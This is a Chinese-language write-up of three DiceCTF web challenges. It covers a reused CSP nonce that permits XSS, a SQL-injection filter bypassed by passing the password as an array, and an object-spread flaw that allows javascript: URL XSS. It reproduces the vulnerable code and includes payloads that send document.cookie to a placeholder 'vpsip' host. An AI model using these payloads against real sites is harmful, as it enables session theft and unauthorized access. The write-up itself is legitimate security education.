dice CTF WriteUp
这次共做了三道Web题,这三题的难度都不大,但是由于我没有学过node.js,所以能学习到一些新的知识,算是边学边做题,这里记录一下
Babier CSP
题目描述是Baby CSP was too hard for us, try Babier CSP.
,还给了Admin Bot,所以应该做题思路应该就是绕过csp进行xss打cookie了。
题目代码:
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
这里的考点是服务端设置Content-Security-Policy: default-src none; script-src 'nonce-${NONCE}'
这样的响应头,具体作用参考:http://www.ruanyifeng.com/blog/2016/09/csp.html
当srcipt-src设置了nonce值时,页面内嵌脚本必须有这个值,才会执行。也就是说,如果要通过xss执行javascript,则payload需要类似于:<script nonce=xxx>alert(1)</script>
而这道题的Nonce值虽然使用了随机函数生成,但是并没有每次请求都重新生成,而是一直复用初始值。那我们的payload直接给定响应包中返回的Nonce值就可以正常执行payload了。
payload:https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=LRGWAXOY98Es0zz0QOVmag==%3Ewindow.location=%22http://vpsip/%22%2bdocument.cookie%3C/script%3E
用Admin bot访问一下构造的链接就拿到secret了
根据源码中添加的secret路由,拼接路径访问得到flag
Missing Flavortext
题目源码:
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')
// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);
// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));
// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}
// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });
// incorrect login
return res.redirect('/');
});
app.listen(3000);
通读源码可以获取如下信息:
- 数据库中有一个用户admin,密码为随机生成的
- 当输入正确的账号密码后,就能得到flag.html文件的内容,猜测flag就在里面
源码中可能存在问题的地方就是sql查询的位置,是通过拼接参数来执行sql语句的,可能存在注入。
但是前面的if ([req.body.username, req.body.password].some(v => v.includes('\'')))
中对输入的用户名密码做了检测,不允许出现单引号,这样我们无法闭合语句,需要绕过。
本地搭建环境测试
在sql语句拼接完成后面添加代码console.log(query);
,将sql语句打印出来,方便测试。
node.js是弱类型语言,所以我们可以传入不同类型数据进去,通过下图可以知道node.js接收了password数组
通过测试发现,当我们传入的password为数组时,可以绕过上面的单引号检测
绕过了单引号检测,那么后面的步骤就是一把梭哈get flag了
Web Utils
这题跟第一题一样,是xss打cookie
通过访问靶机可以看到一共给了两个功能,一个是Link Shortener
生成短链接,另外一个是Pastebin
生成任意内容的临时页面
第一反应
一开始想着直接用Pastebin
功能生成有js代码的页面就完事了,但很显然出题方不会闲着蛋疼出这种题目来浪费我们的假期。通过阅读给出的源码,看public/view.html
中的js,是通过api接口获取自定义内容后,通过document.querySelector('div').textContent = data;
来将内容显示到前端的。
而HTML DOM的textContent
作用是设置或返回节点的文本内容,也就是说,不管我们通过textContent
设置的内容是多么花里胡哨的攻击代码,也只会当作文本显示出来,所以此路不通。具体参考:https://www.cnblogs.com/anqwjoe/p/8422843.html
通读源码
仔细阅读public/view.html
后发现一个思路
<!doctype html>
<html>
<head>
<script async>
(async () => {
const id = window.location.pathname.split('/')[2];
if (! id) window.location = window.origin;
const res = await fetch(`${window.origin}/api/data/${id}`);
const { data, type } = await res.json();
if (! data || ! type ) window.location = window.origin;
if (type === 'link') return window.location = data;
if (document.readyState !== "complete")
await new Promise((r) => { window.addEventListener('load', r); });
document.title = 'Paste';
document.querySelector('div').textContent = data;
console.log(document.querySelector('div').textContent);
})()
</script>
</head>
<body>
<div style="font-family: monospace"></div>
</bod>
</html>
这里通过api去获取data和type,当type为link时,将window.location
设置为data
进行跳转。那么如果我们可以控制data为javascript:alert(1)
,就可以构造出xss了
首先我们需要来看如何添加type=link
、data=javascript:alert(1)
的数据,这其实就是Link Shortener
的功能。
直接看源码,routes/api.js
const database = require('../modules/database');
module.exports = async (fastify) => {
fastify.post('createLink', {
handler: (req, rep) => {
const uid = database.generateUid(8);
const regex = new RegExp('^https?://');
if (! regex.test(req.body.data))
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'Invalid URL'
});
database.addData({ type: 'link', ...req.body, uid });
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data: uid
});
},
schema: {
body: {
type: 'object',
required: ['data'],
properties: {
data: { type: 'string' }
}
}
}
});
fastify.post('createPaste', {
handler: (req, rep) => {
const uid = database.generateUid(8);
database.addData({ type: 'paste', ...req.body, uid });
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data: uid
});
},
schema: {
body: {
type: 'object',
required: ['data'],
properties: {
data: { type: 'string' }
}
}
}
});
fastify.get('data/:uid', {
handler: (req, rep) => {
if (!req.params.uid) {
return;
}
const { data, type } = database.getData({ uid: req.params.uid });
if (!data || !type) {
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'URL not found',
});
}
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data,
type
});
}
});
}
createLink
就是Link Shortener
功能的实现,读没两句代码就遇到坎了,该功能通过正则^https?://
来限制我们输入的data只能是http://或https://开头,测了半天也绕不过去,在此又卡住了。
代码审计题没有找到漏洞,那肯定就是对源码理解不够透彻,所以重头看了下代码,发现了一个奇怪的点。当验证完数据后插入数据时的调用,database.addData({ type: 'link', ...req.body, uid });
,其中第二个参数前面有三个点,具体作用参考:https://blog.csdn.net/bdss58/article/details/54605874
其实这三个点的作用就是将req.body
数组打散,引用上述参考中的例子:
const arr1 = [1,2,3]
const arr2 = [...arr1, 4, 5]
console.log(arr2) // [1, 2, 3, 4, 5]
本地测试一下,在正则检测前添加代码console.log({ type: 'link', ...req.body, uid });
将传入的参数打印出来
如下图,可以看到由于req.body只有data一个元素,所以传入的参数是:{ type: 'link', data: 'http://a', uid: 'l8YlIJGQ' }
那么如果我们传入type=aaa呢?如下图,可以看到参数type被覆盖成aaa了
通过上面的测试,思路就清晰了。虽然createLink
对data做了检测,不能传入javascript:alert(1)
,但是下面的createPaste
并没有这样的限制,所以我们通过api接口/api/createPaste
来插入type=link、data=javascript:alert(1)
的数据,具体操作如下:
查看数据库,发现插入了一条我们需要的数据
访问http://localhost:3000/view/z2jm2la7成功弹窗
本地测试成功了,那么就在靶机上一把梭哈了
首先添加一条type=link,data=javascript:window.location.href=\"http://vpsip/\"+document.cookie
的数据
然后vps上监听端口,将https://web-utils.dicec.tf/view/RgDJTDib给Admin bot访问,得到flag